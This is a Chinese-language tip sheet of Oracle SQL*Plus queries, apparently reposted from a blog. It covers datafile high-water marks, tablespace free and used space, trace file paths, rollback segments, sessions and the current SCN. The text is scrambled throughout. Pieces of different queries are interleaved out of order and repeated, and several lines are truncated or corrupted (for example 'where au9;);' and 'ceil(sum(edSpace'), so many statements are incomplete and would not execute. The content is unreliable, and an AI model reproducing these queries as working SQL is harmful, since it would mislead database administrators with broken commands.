查看数据文件的hwm(可以resize的最小空间)和文件头大小:
SQL>SELECT v1.file_name,v1.file_id,
num1 totle_space,
num3 free_space,
num1-num3 "USED_SPACE(HWM)",
nvl(num2,0) data_space,
[转]Trackback: /TrackBack.aspx?PostId=108119
查看表空间的名称及大小:
SQL>select t.tablespace_name, round(sum(bytes/(1024*1024)),0) ts_size
SQL>SELECT v1.file_name,v1.file_id,
num1 totle_space,
num3 free_space,
num1-num3 Used_space,
nvl(num2,0) data_space,
num1-num3-nvl(num2,0) file_head
FROM
from dba_free_space group by tablespace_name;
SQL>SELECT A.TABLESPACE_NAME,A.BYTES TOTAL,B.BYTES USED, C.BYTES FREE,
(B.BYTES*100)/A.BYTES "% USED",(C.BYTES*100)/A.BYTES "% FREE"
num1-num3-nvl(num2,0) file_head
FROM
(SELECT file_name,file_id,SUM(bytes) num1 FROM Dba_Data_Files GROUP BY file_name,file_id) v1,
(SELECT file_id,SUM(bytes) num2 FROM dba_extents GROUP BY file_id) v2,
where n=b.xidusn and b.addr=c.taddr and c.sql_address=
d.address and c.sql_hash_value=d.hash_value
and n=1;
(备注:你要看哪个,就把usn=?写成几就行了)
查看控制文件:
SQL>select * from v$controlfile;
查看日志文件:
SQL> col member format a50
SQL>select * from v$logfile;
如何查看当前SQL*PLUS用户的sid和serial#:
SQL>select sid, serial#, status from v$session where au9;);
(SELECT file_id,SUM(BYTES) num3 FROM DBA_FREE_SPACE GROUP BY file_id) v3
WHERE v1.file_id=v2.file_id(+)
AND v1.file_id=v3.file_id(+);
(运行以上查询,我们可以如下信息:
after logon on database
begin
dbms_application_info.set_client_info(sys_context('userenv', 'ip_address'));
end;
查询当前日期:
SQL> select to_char(sysdate,'yyyy-mm-dd,hh24:mi:ss') from dual;
(SELECT file_name,file_id,SUM(bytes) num1 FROM Dba_Data_Files GROUP BY file_name,file_id) v1,
(SELECT file_id,SUM(bytes) num2 FROM dba_extents GROUP BY file_id) v2,
from (select b.file_id,b.tablespace_name,b.bytes,
(b.bytes-sum(nvl(a.bytes,0))) UsedSpace,
sum(nvl(a.bytes,0)) FreeSpace,(sum(nvl(a.bytes,0))/(b.bytes)) * 100 FreePercentRatio from sys.dba_free_space a,sys.dba_data_files b
= 'instance_name' and v$session.audsid=sys_context('userenv','sessionid');
SQL>select d.value || '/ora_' || p.spid || '.trc' trace_file_name
在ORACLE中查找TRACE文件的脚本:
SQL>select u_dump.value || '/' || instance.value || '_ora_' ||
v$process.spid || nvl2(v$process.traceid, '_' || v$process.traceid, null ) || '.trc'"Trace File" from v$parameter u_dump cross join v$parameter instance cross join v$process join v$session on v$process.addr = v$session.paddr where u_ = 'user_dump_dest' and
数据库各个表空间增长情况的检查:
SQL>select A.tablespace_name,(1-(A.total)/B.total)*100 used_percent
Totle_pace:该数据文件的总大小,字节为单位
Free_space:该数据文件的剩于大小,字节为单位
Used_space:该数据文件的已用空间,字节为单位
Data_space:该数据文件中段数据占用空间,也就是数据空间,字节为单位
File_Head:该数据文件头部占用空间,字节为单位)
SQL>column Sum_M format a12;
SQL>column Used_M format a12;
SQL>column Free_M format a12;
column pto_M format 9.99;
SQL>select s.tablespace_name,ceil(sum(s.bytes/1024/1024))||'M' Sum_M,ceil(sum(edSpace/1024/1024))||'M' Used_M,ceil(sum(s.FreeSpace/1024/1024))||'M' Free_M, sum(edSpace)/sum(s.bytes) PTUSED
SQL>select decode(nvl(position,-1),-1,'RBO',1,'CBO') from plan_table where id=0;
如何查看系统当前最新的SCN号:
SQL>select max(ktuxescnw * power(2,32) + ktuxescnb) from x$ktuxe;
where a.file_id(+)=b.file_id group by b.file_id,b.tablespace_name,b.bytes
order by b.tablespace_name) s group by s.tablespace_name order by sum(s.FreeSpace)/sum(s.bytes) desc;
(SELECT file_id,SUM(BYTES) num3 FROM DBA_FREE_SPACE GROUP BY file_id) v3
WHERE v1.file_id=v2.file_id(+)
AND v1.file_id=v3.file_id(+);
查看数据文件大小及头大小:
Where r.segment_id = n(+) order by segment_name;
如何查看某个回滚段里面,跑的什么事物或者正在执行什么sql语句:
SQL>select d.sql_text,
from v$rollname a,v$transaction b,v$session c,v$sqltext d
查看回滚段名称及大小:
SQL>select segment_name, tablespace_name, r.status,
(initial_extent/1024) InitialExtent,(next_extent/1024) NextExtent,
max_extents, v.curext CurExtent From dba_rollback_segs r, v$rollstat v
from (select p.spid from sys.v_$mystat m,sys.v_$session s,